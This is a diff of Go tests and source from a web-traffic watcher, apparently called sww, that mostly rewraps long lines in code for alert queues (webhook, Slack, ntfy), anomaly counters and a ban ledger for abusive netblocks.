 			if request.alert["netblock"] != netblock(i+1).String() {
-				t.Fatalf("request %d is for %v, want %s", i+1, request.alert["netblock"],
+				t.Fatalf(
-					netblock(i+1))
+					"request %d is for %v, want %s",
+					i+1,
+					request.alert["netblock"],
+					netblock(i+1),
+				)
 			}
 		}
 
@@ -692,8 +822,12 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
 
 		// Not sent: Run is not running. The repeat is held back by the
 		// cooldown, and the file error past the hourly limit.
-		before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
+		before.Raise(
-		before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
+			alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
+		)
+		before.Raise(
+			alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
+		)
 		before.Raise(alerts.Alert{Event: alerts.EventFileError})
 
 		time.Sleep(time.Minute)
@@ -704,7 +838,9 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
 		// The new queue sends the alert waiting, holds back the repeat as
 		// the cooldown still runs, and sends the summary of the hour, which
 		// gives both repeats, as the cooldown has run out.
-		after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
+		after.Raise(
+			alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
+		)
 		synctest.Wait()
 		wantEvents(t, webhook, alerts.EventBan)
 
@@ -715,9 +851,13 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
 		summary := webhook.received()[1].alert
 		detail, _ := summary["detail"].(map[string]any)
 
-		if detail["count"] != float64(1) || summary["suppressed_repeats"] != float64(2) {
+		if detail["count"] != float64(1) ||
-			t.Errorf("the summary counts %v alerts and %v repeats, want 1 and 2",
+			summary["suppressed_repeats"] != float64(2) {
-				detail["count"], summary["suppressed_repeats"])
+			t.Errorf(
+				"the summary counts %v alerts and %v repeats, want 1 and 2",
+				detail["count"],
+				summary["suppressed_repeats"],
+			)
 		}
 	})
 }
@@ -747,7 +887,13 @@ func TestSlackAndNtfyAreSentAMessageForEachEvent(t *testing.T) {
 
 		for i, each := range want {
 			wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
-			wantNtfyMessage(t, ntfy[i], each.title, each.priorityAndTag, each.text)
+			wantNtfyMessage(
+				t,
+				ntfy[i],
+				each.title,
+				each.priorityAndTag,
+				each.text,
+			)
 		}
 	})
 }
@@ -760,14 +906,23 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
 		params.WebhookURL = nil
 		params.MaxPerHour = 1
 		standIns, q := startAll(t, params)
-		ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"}
+		ban := alerts.Alert{
+			Event:    alerts.EventBan,
+			Netblock: netblock(1),
+			Reason:   "a ban",
+		}
 
 		// The hour's one alert, a repeat of it the cooldown holds back, and
 		// an alert past the limit; once the hour has ended, its summary,
 		// which gives the repeat, and the next alert, which gives none.
 		q.Raise(ban)
 		q.Raise(ban)
-		q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
+		q.Raise(
+			alerts.Alert{
+				Event:  alerts.EventFileError,
+				Reason: "a file error",
+			},
+		)
 		time.Sleep(time.Hour)
 		synctest.Wait()
 		q.Raise(ban)
@@ -786,8 +941,18 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
 			"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
 
 		wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
-		wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
+		wantNtfyMessage(
-		wantSlackMessage(t, slack[2], "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32")
+			t,
+			ntfy[1],
+			instance+": summary",
+			"default bar_chart",
+			summary,
+		)
+		wantSlackMessage(
+			t,
+			slack[2],
+			"*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32",
+		)
 		wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
 			"a ban\nnetblock: 203.0.113.1/32")
 	})
@@ -813,7 +978,11 @@ func TestSlackMessageEscapesAmpersandsAndAngleBrackets(t *testing.T) {
 
 		wantSlackMessage(t, got[0], "*app<1>: file_error*\n"+
 			"<!channel> & <https://x.example|y>")
-		wantBodies(t, standIns[alerts.DestinationNtfy], "<!channel> & <https://x.example|y>")
+		wantBodies(
+			t,
+			standIns[alerts.DestinationNtfy],
+			"<!channel> & <https://x.example|y>",
+		)
 	})
 }
 
@@ -835,7 +1004,12 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
 				params.NtfyToken = tc.token
 				standIns, q := startAll(t, params)
 
-				q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
+				q.Raise(
+					alerts.Alert{
+						Event:    alerts.EventBan,
+						Netblock: netblock(1),
+					},
+				)
 				synctest.Wait()
 
 				for destination, want := range map[string][]string{
@@ -845,13 +1019,21 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
 				} {
 					got := standIns[destination].received()
 					if len(got) != 1 {
-						t.Fatalf("%s was sent %d requests, want 1", destination, len(got))
+						t.Fatalf(
+							"%s was sent %d requests, want 1",
+							destination,
+							len(got),
+						)
 					}
 
 					authorization := got[0].header.Values("Authorization")
 					if !slices.Equal(authorization, want) {
-						t.Errorf("%s was sent Authorization %q, want %q", destination,
+						t.Errorf(
-							authorization, want)
+							"%s was sent Authorization %q, want %q",
+							destination,
+							authorization,
+							want,
+						)
 					}
 				}
 			})
@@ -870,7 +1052,9 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
 		standIns[alerts.DestinationSlack].set(hanging)
 
 		for n := range 3 {
-			q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
+			q.Raise(
+				alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
+			)
 		}
 
 		synctest.Wait()
@@ -885,7 +1069,9 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
 			wantDestinationCounts(t, q, destination, want)
 		}
 
-		if got := standIns[alerts.DestinationSlack].received(); len(got) != 1 {
+		if got := standIns[alerts.DestinationSlack].received(); len(
+			got,
+		) != 1 {
 			t.Errorf("Slack was sent %d requests, want 1", len(got))
 		}
 
@@ -900,11 +1086,16 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
 			alerts.Counts{Sent: 3, SendFailures: 1})
 
 		logged := log.String()
-		if !strings.Contains(logged,
+		if !strings.Contains(
-			`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
+			logged,
+			`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`,
+		) ||
 			strings.Contains(logged, "hooks.slack.example") ||
 			strings.Contains(logged, "T0123") {
-			t.Errorf("process log %q names no failure, or names the URL", logged)
+			t.Errorf(
+				"process log %q names no failure, or names the URL",
+				logged,
+			)
 		}
 	})
 }
@@ -922,7 +1113,9 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
 		// Each alert is raised once each destination has done all it can
 		// with those before it.
 		for n := range alerts.QueueSize + 1 {
-			q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
+			q.Raise(
+				alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
+			)
 			synctest.Wait()
 		}
 
@@ -1136,7 +1329,10 @@ func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) {
 // startAll returns, by destination, a stand-in that answers for each
 // destination params sets, and a Queue that sends to them, run until the
 // test ends.
-func startAll(t *testing.T, params alerts.Params) (map[string]*standIn, *alerts.Queue) {
+func startAll(
+	t *testing.T,
+	params alerts.Params,
+) (map[string]*standIn, *alerts.Queue) {
 	t.Helper()
 
 	q := alerts.New(params)
@@ -1170,7 +1366,9 @@ func midnight() time.Time {
 
 // netblock returns the n-th netblock of a test, counted from 0.
 func netblock(n int) netip.Prefix {
-	return netip.MustParsePrefix(fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256))
+	return netip.MustParsePrefix(
+		fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256),
+	)
 }
 
 // roundTrip returns state once written as JSON and read back, as
@@ -1223,12 +1421,22 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) {
 // requests to it that it counts as failed, the alerts it counts as held
 // back, and those it counts as dropped for the webhook.
 func wantCounts(
-	t *testing.T, q *alerts.Queue, sent, sendFailures, suppressed, dropped int64,
+	t *testing.T,
+	q *alerts.Queue,
+	sent, sendFailures, suppressed, dropped int64,
 ) {
 	t.Helper()
 
-	wantDestinationCounts(t, q, alerts.DestinationWebhook,
+	wantDestinationCounts(
-		alerts.Counts{Sent: sent, SendFailures: sendFailures, Dropped: dropped})
+		t,
+		q,
+		alerts.DestinationWebhook,
+		alerts.Counts{
+			Sent:         sent,
+			SendFailures: sendFailures,
+			Dropped:      dropped,
+		},
+	)
 
 	if q.Suppressed() != suppressed {
 		t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
@@ -1261,7 +1469,9 @@ func anAlertForEachEvent() []eventMessage {
 		{
 			alerts.Alert{
 				Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
-				Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE",
+				Netblock: netip.MustParsePrefix(
+					"203.0.113.0/24",
+				), Country: "DE",
 				Reason: "requests per hour over the limit of 10000",
 				Detail: map[string]any{"mode": "observe"},
 			},
@@ -1272,7 +1482,9 @@ func anAlertForEachEvent() []eventMessage {
 		{
 			alerts.Alert{
 				Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
-				Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR",
+				Netblock: netip.MustParsePrefix(
+					"198.51.100.7/32",
+				), Country: "FR",
 				Reason: "matched the rule env-file",
 			},
 			"fsn1app1/blog: permanent_ban", "high no_entry",
@@ -1347,18 +1559,30 @@ func wantSlackMessage(t *testing.T, request post, text string) {
 // wantNtfyMessage checks that request, one ntfy was sent, posted the
 // message text with the title, and with the priority and the tag
 // priorityAndTag gives, with a space between them.
-func wantNtfyMessage(t *testing.T, request post, title, priorityAndTag, text string) {
+func wantNtfyMessage(
+	t *testing.T,
+	request post,
+	title, priorityAndTag, text string,
+) {
 	t.Helper()
 
 	got := []string{
 		request.method, request.url, request.header.Get("Title"),
-		request.header.Get("Priority") + " " + request.header.Get("Tags"), request.body,
+		request.header.Get(
+			"Priority",
+		) + " " + request.header.Get(
+			"Tags",
+		), request.body,
 	}
 
 	want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
 	if !slices.Equal(got, want) {
-		t.Errorf("ntfy was sent the method, URL, title, priority and tag, and text "+
+		t.Errorf(
-			"%q, want %q", got, want)
+			"ntfy was sent the method, URL, title, priority and tag, and text "+
+				"%q, want %q",
+			got,
+			want,
+		)
 	}
 }
 

internal/anomaly/anomaly.go

@@ -43,7 +43,13 @@ const (
 
 // Scopes returns every scope.
 func Scopes() []string {
-	return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
+	return []string{
+		ScopeClient,
+		ScopeNet,
+		ScopeASN,
+		ScopeTotal,
+		ScopeWatchedNet,
+	}
 }
 
 // The windows a counter counts in, as the alerts name them.
@@ -191,8 +197,12 @@ func (c *Counters) Snapshot() []Counter {
 	c.mu.Unlock()
 
 	slices.SortFunc(counters, func(a, b Counter) int {
-		return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock),
+		return cmp.Or(
-			cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name))
+			cmp.Compare(a.Scope, b.Scope),
+			a.Netblock.Compare(b.Netblock),
+			cmp.Compare(a.ASN, b.ASN),
+			cmp.Compare(a.Name, b.Name),
+		)
 	})
 
 	return counters
@@ -257,7 +267,11 @@ func (c *Counters) scopesOf(r Request) []scope {
 	for _, named := range p.NamedNetblocks {
 		if named.Netblock.Contains(client) {
 			all = append(all, scope{
-				key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
+				key{
+					scope:    ScopeWatchedNet,
+					netblock: named.Netblock,
+					name:     named.Name,
+				}, p.Watch,
 			})
 		}
 	}
@@ -316,7 +330,12 @@ func (c *Counter) add(
 
 		counted := count.buckets.Add(now, count.length, n)
 		if !passed && counted > float64(threshold) {
-			first = overThreshold{count.kind, count.window, counted, threshold}
+			first = overThreshold{
+				count.kind,
+				count.window,
+				counted,
+				threshold,
+			}
 			passed = true
 		}
 	}
@@ -359,12 +378,22 @@ func (c *Counter) lastStart() time.Time {
 
 // key returns what tells c from the other counters.
 func (c *Counter) key() key {
-	return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name}
+	return key{
+		scope:    c.Scope,
+		netblock: c.Netblock,
+		asn:      c.ASN,
+		name:     c.Name,
+	}
 }
 
 // counter returns a counter for k, with nothing counted yet.
 func (k key) counter() *Counter {
-	return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name}
+	return &Counter{
+		Scope:    k.scope,
+		Netblock: k.netblock,
+		ASN:      k.asn,
+		Name:     k.name,
+	}
 }
 
 // alertFor returns the anomaly alert for o, a count over its threshold in
@@ -404,8 +433,13 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
 		ASN:      r.ASN,
 		ASName:   r.ASName,
 		Country:  r.Country,
-		Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window,
+		Reason: fmt.Sprintf(
-			counted, o.threshold),
+			"%s per %s of %s over the threshold of %d",
+			o.kind,
+			o.window,
+			counted,
+			o.threshold,
+		),
 		Detail: detail,
 	}
 }

internal/anomaly/anomaly_test.go

@@ -31,7 +31,10 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
 		// name one netblock.
 		NetV4Prefix: 32,
 		NamedNetblocks: []anomaly.NamedNetblock{
-			{Name: "office", Netblock: office}, {Name: "hq", Netblock: office},
+			{
+				Name:     "office",
+				Netblock: office,
+			}, {Name: "hq", Netblock: office},
 		},
 		Alerts: queue,
 	})
@@ -80,11 +83,16 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
 	}
 
 	if after.Suppressed() != 9 {
-		t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed())
+		t.Errorf(
+			"after loading, %d alerts are held back, want 9",
+			after.Suppressed(),
+		)
 	}
 }
 
-func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
+func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	counters := newCounters(anomaly.Params{
@@ -103,17 +111,28 @@ func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
 	got := counters.Snapshot()
 	if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
 		!holds(got, maxCounters) {
-		t.Errorf("%d counters, holding the first client %v, the second %v and the "+
+		t.Errorf(
-			"new one %v, want %d, the first and the new one", len(got), holds(got, 0),
+			"%d counters, holding the first client %v, the second %v and the "+
-			holds(got, 1), holds(got, maxCounters), maxCounters)
+				"new one %v, want %d, the first and the new one",
+			len(got),
+			holds(got, 0),
+			holds(got, 1),
+			holds(got, maxCounters),
+			maxCounters,
+		)
 	}
 }
 
-func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) {
+func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	counters := newCounters(anomaly.Params{
-		Net:         anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000},
+		Net: anomaly.Thresholds{
+			RequestsPerMinute: 1000,
+			RequestsPerHour:   1000,
+		},
 		Total:       anomaly.Thresholds{RequestsPerMinute: 1000},
 		NetV4Prefix: 24,
 	})
@@ -142,7 +161,9 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T)
 		Hour:     ratelimit.Buckets{Start: midnight(), Current: 7},
 	}
 	if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
-		got, want) {
+		got,
+		want,
+	) {
 		t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
 	}
 
@@ -192,9 +213,12 @@ func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
 
 	got := counters.Snapshot()
 	if !holds(got, 0) || holds(got, maxCounters/2) {
-		t.Errorf("holding the first client of the file %v, and the first counted in "+
+		t.Errorf(
-			"the minute before %v, want only the first", holds(got, 0),
+			"holding the first client of the file %v, and the first counted in "+
-			holds(got, maxCounters/2))
+				"the minute before %v, want only the first",
+			holds(got, 0),
+			holds(got, maxCounters/2),
+		)
 	}
 }
 
@@ -225,9 +249,14 @@ func newQueue() *alerts.Queue {
 // request returns a request from client number i, an address in
 // 10.0.0.0/8.
 func request(i int) anomaly.Request {
-	client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
+	client := netip.MustParseAddr(
+		fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255),
+	)
 
-	return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)}
+	return anomaly.Request{
+		Client:      client,
+		ClientGroup: netip.PrefixFrom(client, 32),
+	}
 }
 
 // holds reports whether counters hold the counter of client number i.

internal/bans/admin_test.go

@@ -36,9 +36,21 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
 	// then one with an admin's ban before a ban sww made: the one
 	// ban counted toward MaxBans.
 	ledger.Load([]bans.Ban{
-		{Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
+		{
-		{Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin},
+			Netblock: adminsOnly,
-		{Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin},
+			Start:    midnight().Add(-3 * time.Hour),
+			Cause:    bans.CauseAdmin,
+		},
+		{
+			Netblock: adminsOnly,
+			Start:    midnight().Add(-2 * time.Hour),
+			Cause:    bans.CauseAdmin,
+		},
+		{
+			Netblock: both,
+			Start:    midnight().Add(-time.Hour),
+			Cause:    bans.CauseAdmin,
+		},
 		{
 			Netblock: both,
 			Start:    midnight(),
@@ -50,15 +62,27 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
 
 	// A new ban drops the ban sww made, and only that one.
 	ledger.BanForLimit(second, midnight(), bans.Notes{})
-	wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
+	wantBans(
+		t,
+		ledger,
+		map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1},
+	)
 
 	if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
-		t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both))
+		t.Errorf(
+			"%s kept %+v, want the admin's ban",
+			both,
+			ledger.Bans(both),
+		)
 	}
 
 	// And the next drops that one.
 	ledger.BanForLimit(third, midnight(), bans.Notes{})
-	wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
+	wantBans(
+		t,
+		ledger,
+		map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1},
+	)
 }
 
 func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
@@ -74,7 +98,11 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
 	// twice, each time after its last ban has ended.
 	ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
 		"probes for logins")
-	first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
+	first, _ := ledger.BanForLimit(
+		netblock,
+		midnight().Add(time.Minute),
+		bans.Notes{},
+	)
 	second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
 
 	// A ban on another netblock fills the ledger, and the netblock's first
@@ -119,12 +147,21 @@ func TestReasonOfTheBansSwwMakes(t *testing.T) {
 
 	ledger := bans.New(defaultParams())
 
-	limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
+	limit, _ := ledger.BanForLimit(
-		bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
+		netip.MustParsePrefix("203.0.113.1/32"),
-	byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"),
+		midnight(),
-		midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"})
+		bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"},
-	attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
+	)
-		bans.Notes{RuleID: "git-dir", Target: "path"})
+	byteLimit, _ := ledger.BanForLimit(
+		netip.MustParsePrefix("203.0.113.3/32"),
+		midnight(),
+		bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"},
+	)
+	attack, _ := ledger.BanForAttack(
+		netip.MustParsePrefix("203.0.113.2/32"),
+		midnight(),
+		bans.Notes{RuleID: "git-dir", Target: "path"},
+	)
 
 	for _, tc := range []struct{ got, want string }{
 		{limit.Reason, "requests per minute over the limit of 1000"},
@@ -166,17 +203,25 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
 	ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
 	if ban.Expires.Sub(ban.Start) != time.Hour ||
 		ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
-		t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
+		t.Errorf(
-			ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
+			"the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
+			ban.Expires.Sub(ban.Start),
+			ban.Notes.EarlierBans,
+		)
 	}
 
 	held := ledger.Bans(netblock)
 	if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
-		t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
+		t.Errorf(
+			"the ledger holds %+v, want the lifted ban and the new one",
+			held,
+		)
 	}
 }
 
-func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
+func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	// A permanent ban for a clear sign of attack, lifted.
@@ -198,13 +243,20 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
 
 	active, permanent := ledger.Count(now)
 	if active != 0 || permanent != 0 {
-		t.Errorf("%d bans are active and %d permanent, want none", active, permanent)
+		t.Errorf(
+			"%d bans are active and %d permanent, want none",
+			active,
+			permanent,
+		)
 	}
 
 	// The next clear sign of attack bans for seven days, as a first does.
 	ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
 	if ban.Expires.Sub(ban.Start) != 7*day {
-		t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires)
+		t.Errorf(
+			"the next ban for an attack ends at %s, want seven days on",
+			ban.Expires,
+		)
 	}
 }
 
@@ -212,8 +264,11 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
 	t.Parallel()
 
 	ledger := bans.New(defaultParams())
-	made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
+	made, _ := ledger.BanForLimit(
-		bans.Notes{})
+		netip.MustParsePrefix("203.0.113.1/32"),
+		midnight(),
+		bans.Notes{},
+	)
 	atStart := bans.Ban{
 		Netblock: netip.MustParsePrefix("203.0.113.2/32"),
 		Start:    midnight(),
@@ -223,7 +278,10 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
 	ledger.Load([]bans.Ban{made, atStart})
 
 	if got := ledger.Made(bans.CauseAdmin); got != 0 {
-		t.Fatalf("%d bans made by an admin after the start's, want none", got)
+		t.Fatalf(
+			"%d bans made by an admin after the start's, want none",
+			got,
+		)
 	}
 
 	// The admin keeps the ban sww made, keeps the one read at the
@@ -236,9 +294,13 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
 	}
 	ledger.LoadEdit([]bans.Ban{kept, atStart, added})
 
-	if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 {
+	if ledger.Made(bans.CauseAdmin) != 1 ||
-		t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each",
+		ledger.Made(bans.CauseLimit) != 1 {
-			ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit))
+		t.Errorf(
+			"%d bans made by an admin and %d for a limit, want 1 of each",
+			ledger.Made(bans.CauseAdmin),
+			ledger.Made(bans.CauseLimit),
+		)
 	}
 }
 
@@ -264,8 +326,12 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
 		Notes:    bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
 	}
 
-	got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
+	got := ledger.BanForAdmin(
-		"probes for logins")
+		netip.MustParsePrefix("203.0.113.9/24"),
+		now,
+		time.Time{},
+		"probes for logins",
+	)
 	if !reflect.DeepEqual(got, want) {
 		t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
 	}
@@ -277,10 +343,17 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
 	}
 
 	// It refuses once the ban for the limit has ended.
-	ban, banned, _ := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour))
+	ban, banned, _ := ledger.Find(
+		netblock.Addr(),
+		midnight().Add(2*time.Hour),
+	)
 	if !banned || !reflect.DeepEqual(ban, want) {
-		t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v",
+		t.Errorf(
-			ban, banned, want)
+			"after the limit's ban the netblock is under %+v (%t), want %+v",
+			ban,
+			banned,
+			want,
+		)
 	}
 }
 
@@ -312,8 +385,12 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
 	now := midnight().Add(time.Minute)
 
 	lifted := ledger.Lift(client, now)
-	if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now {
+	if len(lifted) != 2 || lifted[0].Lifted != now ||
-		t.Errorf("lifted %+v, want the two active bans covering the client", lifted)
+		lifted[1].Lifted != now {
+		t.Errorf(
+			"lifted %+v, want the two active bans covering the client",
+			lifted,
+		)
 	}
 
 	wantChanged(t, ledger, true)
@@ -330,8 +407,11 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
 	covering := ledger.Covering(client)
 	if len(covering) != 3 || covering[0].Netblock != wide ||
 		!covering[1].Lifted.IsZero() || covering[2].Lifted != now {
-		t.Errorf("the bans covering the client are %+v, want the /24's and both "+
+		t.Errorf(
-			"of its own, the earlier not lifted", covering)
+			"the bans covering the client are %+v, want the /24's and both "+
+				"of its own, the earlier not lifted",
+			covering,
+		)
 	}
 
 	// With none active, nothing is lifted or changed.
@@ -342,16 +422,26 @@ func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) {
 	wantChanged(t, ledger, false)
 }
 
-func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(t *testing.T) {
+func TestPermanentBanOnAWiderNetblockIsReturnedOverATemporaryBan(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	client := netip.MustParseAddr("203.0.113.9")
 	ledger := bans.New(defaultParams())
 
 	// The temporary ban is made first, so that its netblock is looked at first.
-	ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), bans.Notes{})
+	ledger.BanForLimit(
-	ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.0/24"), midnight(), time.Time{},
+		netip.MustParsePrefix("203.0.113.9/32"),
-		"for good")
+		midnight(),
+		bans.Notes{},
+	)
+	ledger.BanForAdmin(
+		netip.MustParsePrefix("203.0.113.0/24"),
+		midnight(),
+		time.Time{},
+		"for good",
+	)
 
 	wantPermanentBan(t, ledger, client, midnight().Add(time.Minute))
 }
@@ -363,10 +453,19 @@ func TestOlderPermanentBanIsReturnedOverANewerTemporaryBan(t *testing.T) {
 	ledger := bans.New(defaultParams())
 
 	ledger.BanForAdmin(netblock, midnight(), time.Time{}, "for good")
-	ledger.BanForAdmin(netblock, midnight().Add(time.Minute), midnight().Add(time.Hour),
+	ledger.BanForAdmin(
-		"for an hour")
+		netblock,
+		midnight().Add(time.Minute),
+		midnight().Add(time.Hour),
+		"for an hour",
+	)
 
-	wantPermanentBan(t, ledger, netblock.Addr(), midnight().Add(2*time.Minute))
+	wantPermanentBan(
+		t,
+		ledger,
+		netblock.Addr(),
+		midnight().Add(2*time.Minute),
+	)
 }
 
 // wantPermanentBan checks that Find and Check return a permanent ban for
@@ -382,7 +481,12 @@ func wantPermanentBan(
 	} {
 		ban, banned, _ := look(client, now)
 		if !banned || !ban.Permanent() {
-			t.Errorf("%s returned %+v and banned %v, want a permanent ban", name, ban, banned)
+			t.Errorf(
+				"%s returned %+v and banned %v, want a permanent ban",
+				name,
+				ban,
+				banned,
+			)
 		}
 	}
 }

internal/bans/bans.go

@@ -209,7 +209,10 @@ func New(params Params) *Ledger {
 	// The ledger drops bans itself, and never those whose cause is
 	// CauseAdmin, however many there are, so the LRU has no limit of its
 	// own: it keeps the netblocks in the order they were last seen.
